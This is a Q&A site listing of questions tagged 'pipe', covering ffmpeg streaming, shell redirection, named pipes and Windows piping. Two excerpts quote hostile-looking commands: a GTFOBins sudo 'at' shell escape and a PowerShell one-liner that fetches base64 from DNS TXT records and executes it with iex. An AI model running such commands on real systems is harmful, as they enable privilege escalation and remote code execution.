Questions tagged [pipe]

Pipes or named pipes are a feature of the POSIX standard that allow separate processes to communicate with each other without having been designed explicitly to work together.

Filter by
Sorted by
Tagged with
0 votes
0 answers
12 views

Tabby: very frequent broken pipe error

I am using Tabby on Ubuntu 16.04 I am getting very frequent broken pipe error, and that too for simple commands like ls kill -9 5827 What is wrong? and what could be done to fix it
user avatar
  • 566
0 votes
0 answers
14 views

Gunzip downloading files, piping

I want to unzip a series of files iteratively. That is, upon finishing the download process of a file with wget, I want it to, then, get unarchived with gunzip That is what I've already tried which ...
user avatar
1 vote
1 answer
40 views

Piped commands altering standard output?

I've tried three different "alias" functions to make an image show from the command line given an argument. Can someone point me in the right direction towards figuring out why the input is ...
user avatar
1 vote
1 answer
33 views

Build tool spawns a daemon that does not close its standard output. How can I prevent this from stalling my shell pipeline?

I am using a (closed-source) vendor-specific build tool (Microsemi Designer, an FPGA layout tool). I invoke it from a shell script (highly simplified): ... # Setup /opt/.../designer SCRIPT:my_script....
user avatar
  • 125
0 votes
0 answers
21 views

Pipes and file descriptors within bash scripts

Streaming PI camera video to VLC using the following command from bash prompt works OK: raspivid -o - -t 0 -w 1280 -h 720 -fps 12 | cvlc stream:///dev/stdin --sout '#rtp{sdp=rtsp://:8081/}' :demux=...
user avatar
  • 241
0 votes
1 answer
198 views

how pipe the 'get_url' of youtube-dl to ffmpeg stdin

I'm not getting pass the output from the first process with Youtube-dl through pipe to stdin of ffmpeg. It is as if the Youtube-dl force the execution of process after pipe instead wait for his own ...
user avatar
0 votes
0 answers
44 views

Windows 11 cannot connect to a host-pipe serial port

Using VirtualBox 6.1.32 with a Windows 11 host and a FreeBSD guest, with this serial port configuration: The guest starts up fine, but the host - when attempting to connect via PuTTY: fails with ...
user avatar
0 votes
0 answers
14 views

Under which conditions is Windows piping data held in RAM versus written to one or more temporary files on storage?

I recently asked this question on Stack Overflow, and it resulted in another interesting question that I think is more suitable for Super User: Under which conditions (Windows version, available ...
user avatar
0 votes
0 answers
93 views

Why can't I write to this pipe?

I followed the steps in the accepted answer in https://unix.stackexchange.com/questions/31824/how-do-i-attach-a-terminal-to-a-detached-process However I get this root@ca:/home/kali# echo blah > /...
user avatar
  • 101
1 vote
0 answers
73 views

Count lines passing through a windows shell pipe and stop after threshold is reached

I am on Windows, collecting a dataset and have to repeatedly perform following operations. I'm looking for a way to automate some of them. General description Run a process that endlessly prints its ...
user avatar
  • 117
0 votes
0 answers
56 views

FFmpeg transcode piped mp4 with MOOV at end - but I can read it twice

I need to transcoding an MP4 file using that I can only access via a stream. The MOOV atom is at the end of the file. I do not have the ability to seek to a specific part of the file, only read a pipe ...
user avatar
15 votes
4 answers
3k views

What does "2>&1" do when posted BEFORE 1>x?

I know what this command does: command 1>/dev/null 2>&1 But what, if anything, does the following do? command 2>&1 1>/dev/null I still see standard error output with the second ...
user avatar
0 votes
0 answers
11 views

Why does tailing logs with kubectl prevent pipe from producing output? [duplicate]

I'm trying to process logs while tailing them. This command works: kubectl logs "$pod" --tail=100 | egrep pattern | cut -d ' ' -f 1 But this command produces no output: kubectl logs "$...
user avatar
0 votes
1 answer
128 views

What does " /bin/sh <$(tty) >$(tty) 2>$(tty) " mean?

I was looking at the GTFOBINS page for the at command and saw this command (last command in that page) echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo at now; tail -f /dev/null for ...
user avatar
0 votes
1 answer
57 views

Pipe Output of dhclient with sed

Goal Limit output of dhclient. Code dhclient eth0|sed 's/answers//' expected behaviour RTNETLINK : Operation not permitted got RTNETLINK answers: Operation not permitted Piping ifconfig works ifconfig ...
user avatar
  • 138
0 votes
0 answers
28 views

Passing a piped variable to a sub-command called within GNU parallel

In bash, I am trying to find a list of files and pipe them to parallel. find *.fasta | parallel "Gblocks {} -b2=$(( "$(cat {} | grep \> | wc -l)" / 2 + 1 ))" Where Gblocks is a ...
user avatar
0 votes
0 answers
25 views

"ls -C" uses single-column or multi-column assuming narrow window

I've traditionally used ls -C to get multi-column format. If I pipe the output through another command (e.g., less), I need ls -C to override the default single-column format. For some reason, I'm ...
user avatar
0 votes
0 answers
164 views

Generate GPG key without saving to keychain

I am trying to generate a GPG key with gnupg. However, instead of exporting the secret key to a file, I am trying to pipe it to another program (keybase pgp import) that will process it. Right now, I ...
user avatar
  • 121
0 votes
1 answer
50 views

Git for Windows leaking processes under WSL

I work in Debian under WSL2, but because my project files live in the Windows filesystem, I've been using Git for Windows through the WSL interop with a shell function like this: git() { case &...
user avatar
  • 103
0 votes
1 answer
448 views

Posting file to pastebin via Batch with CURL

I am attempting to upload log files to pastebin using CURL.exe on a Windows 10 machine in a batch (.bat) file. The following command works: curl -X POST -d "api_dev_key=MY_DEV_KEY" -d "...
user avatar
  • 1,268
0 votes
1 answer
753 views

ffmpeg '-i pipe:' and 'thread_queue_size' -- managing a pipe

I've discovered a thread_queue_size number that seems to work on my system for this use-case but I'll test more (or repeat tests) to help the cause if someone can suggest something. Please advise. ...
user avatar
1 vote
0 answers
178 views

FFmpeg concat of mov files via pipe input fails on versions newer than 4.2.3

I've been using ffmpeg 4.2.3 to concat h264 mov files from a DSLR camera using the following: ls input1.MOV input2.MOV | perl -ne 'print "file $_"' | ffmpeg -f concat -protocol_whitelist ...
user avatar
0 votes
1 answer
93 views

zsh fails to interpret a piped command which is OK with bash

~ ᐅ docker image inspect nginx | jq .[].Config.ExposedPorts zsh: no matches found: .[].Config.ExposedPorts With bash it works as expected. I found out a difference as to how the piping is interpreted ...
user avatar
0 votes
0 answers
648 views

Use named pipes in ffmpeg

In my application I want to modify various mp3 and then mix them together. I know I could do it with a single command line in FFmpeg but it can end up very messy since I need to use various filter on ...
user avatar
1 vote
1 answer
42 views

How does a Unix program know to change output if it's being piped?

Calling something like ag (a grep alternative) results in an output that's human readable. Results are printed with headers. Useful for humans, horrible for programs. $ ag 'filter\(' tests/...
user avatar
  • 1,187
0 votes
1 answer
135 views

How to convert binary input into utf-16 characters on bash

I have bunch of bytes that has random bits in order and some of them 9 and 10. I can convert the 8 bit binary data into characters with a perl script like below. perl -lape '$_=pack"(B8)*",@...
user avatar
0 votes
1 answer
158 views

Script runs slow processing stdout piped from service

I am using a utility named oscdump which listens on a specified port for OSC messages and prints the messages to stdout. I wish to parse and process these messages in a script however my script runs ...
user avatar
  • 63
1 vote
0 answers
316 views

Send ffmpeg segments to stdout so they can be processed by next pipe

I have a pipeline like ffmpeg -i input.mov -f matroska - |\ ffmpeg -i - -codec copy -map 0 -reset_timestamps 1 \ -segment_time 10 -f segment output/out%03d.mov which works and it is splitting the ...
user avatar
  • 111
1 vote
1 answer
60 views

Delete trailing hashes in a list of URLs using powershell?

I got a bit rusty with PowerShell, and I am missing the correct search terms, so I hoping asking here is ok. I have list of URL of the following structure: /pub/pdf/ssm.supervisorymanual.en.pdf?...
user avatar
  • 204
2 votes
2 answers
1k views

ffmpeg less verbose, without hiding progress bar

Without editing and recompiling ffmpeg from source, how can one hide some of the many lines that it prints when it starts encoding, without also hiding its progress bar that updates every second or so ...
user avatar
0 votes
0 answers
316 views

Why does a linux pipe slow my data transfer?

I noticed that if I use dd to move data from /dev/zero to /dev/null, I can max out around 6.1GB/s by adjusting the block size. dd if=/dev/zero of=/dev/null status=progress bs=512k count=2k # 2048+0 ...
user avatar
0 votes
1 answer
75 views

How can the convert command's output be passed/piped instead of saved to a file?

I made a HTML file with images as base64. I started bash-scripting to make a folders images be base64-printed into this html-file. I worked, I share the code: cat html_head.txt > fil.html for i in *...
user avatar
0 votes
1 answer
186 views

How to netcat to multiple ports

I'am using a raspberry and i need 2 local streams. This is what i've tried: Attempt raspivid <some options> -o - | tee nc localhost 5100 | nc localhost 5000 Question I can receive the output on ...
user avatar
  • 103
1 vote
1 answer
37 views

windows 10: process 1 output used as process 2 input: pipes

process 1 : adb shell screenrecord --bit-rate 6000000 --size 1280x720 --output-format=h264 - process 2: ffplay -f h264 normally ffplay takes its input as an argument (-i _input) How to pipe those ...
user avatar
  • 113
1 vote
1 answer
161 views

Piping Unrar Output to FFMPEG

I have a password protected .rar file. It's large, so using unrar e large.rar is time consuming. Once extracted, the file will be large.avi Then I have to do ffmpeg -i large.avi large.mp4 I was hoping ...
user avatar
0 votes
0 answers
49 views

Circular pipe in bash

I need a circular pipe in Bash. This doesn’t work: exec 3>&1 | socat | awk | socat >&3 #exec 3>&1 This works: exec 3> /dev/stderr ; echo test >&3 Can somebody provide ...
user avatar
  • 1
1 vote
1 answer
60 views

"Upload" pipe as if it were a regular file

Suppose I want to tar and compress a file for upload to Google Drive or something, but all without ever saving an intermediate tarball (e.g. because of a lack of disk space and/or the disk is read-...
user avatar
0 votes
0 answers
52 views

When piping sed command, output becomes all spaces

This is for a lab I have in a class, the professor has told me to use sed to remove all punctuation and double spacing by piping together several sed commands. When I pipe the commands together my ...
user avatar
1 vote
0 answers
23 views

How to launch a subprocess with captured output, but letting the subprocess believe it isn't captured?

Imagine launching a subprocess say my_binary in these two ways (I'm using bash for simplicity, but I assume this applies for other languages on POSIX systems): #!/bin/bash # 1) inherit stdout/stderr ...
user avatar
1 vote
0 answers
85 views

Obtain chunk size in split --filter commands?

I'd like to compress a partclone backup on the fly using zstd. Instead of writing one large zstd Frame, the archive should be split into small chunks that allow semi-random access. The latter requires ...
user avatar
0 votes
2 answers
804 views

Unattended WSL Ubuntu 18.04 installation from powershell

Scenario To automatically install and initialize WSL Ubuntu 18.04 with powershell, I am trying to initialize/set the first username and password automatically. However, when I first run the wsl from a ...
user avatar
  • 343
4 votes
1 answer
2k views

How/why does ssh output to tty when both stdout and stderr are redirected?

I've just noticed that ssh user@host >/tmp/out 2>/tmp/err can write something like Warning the RAS host key... ... Are you sure you want to continue connecting (yes/no)? stdout and stderr ...
user avatar
  • 1,860
2 votes
1 answer
1k views

Pipe output from DIR into CERTUTIL

In Win10, looking for way to pipe the output from a DIR command at the Command Prompt or in a Batch File to serve as input to the CERTUTIL command. IOW, I want to get the MD5 hash for all of the files ...
user avatar
1 vote
1 answer
129 views

Unblock "less" after follow mode / scrolling past end of buffer

I'm using less to capture the output of a live program. Using F activates follow mode, showing me real-time output. However, after entering follow mode (or, more generally, scrolling past the buffered ...
user avatar
  • 1,381
0 votes
1 answer
9k views

How do i execute powershell command's with pipes in python?

import subprocess subprocess.Popen('powershell.exe [Get-ADPrincipalGroupMembership %USERNAME% | select name]') os.system('powershell.exe Get-ADPrincipalGroupMembership %USERNAME% | select name]') I ...
user avatar
4 votes
1 answer
195 views

Is there a better way to mitigate this obscure color bug when piping to FINDSTR inside a parenthesized block of (.bat) code?

In the following .BAT file, test 2 demonstrates the color bug inside a parenthesized block of code, test 3 demonstrates the bug inside a FOR loop, and test 4 shows how the bug can be mitigated by ...
user avatar
0 votes
1 answer
40 views

How save terminal output when feeding it with named pipe

We know that we can save the result of a program in Linux terminal with below syntax: terminal.out > result.txt or terminal.out | tee result.txt But I can't save the output of the program when ...
user avatar
0 votes
2 answers
988 views

How do I pipe dmenu output into a command?

I'm experimenting with dmenu and ran into a problem. I want to create a .bash_history menu of previous commands, select one and then have it either run in my terminal. Here is what I have so far. ...
user avatar
1 vote
3 answers
182 views

Piping Set string and escaping in CMD

I'm trying to do: echo|set /P="powershell "$b64=""; (1..2) | ForEach-Object { $b64+=(nslookup -q=txt "$_.somedomain.com")[-1] }; iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::...
user avatar
2 votes
0 answers
215 views

How to transfer files between two hosts through a bastion using netcat and pigz

I have to regularly transfer the contents of folders containing a lot of small files with a volume of around 10GB from one server to another. Before I used the command bellow which did the job very ...
user avatar
  • 21

1
2 3 4 5
8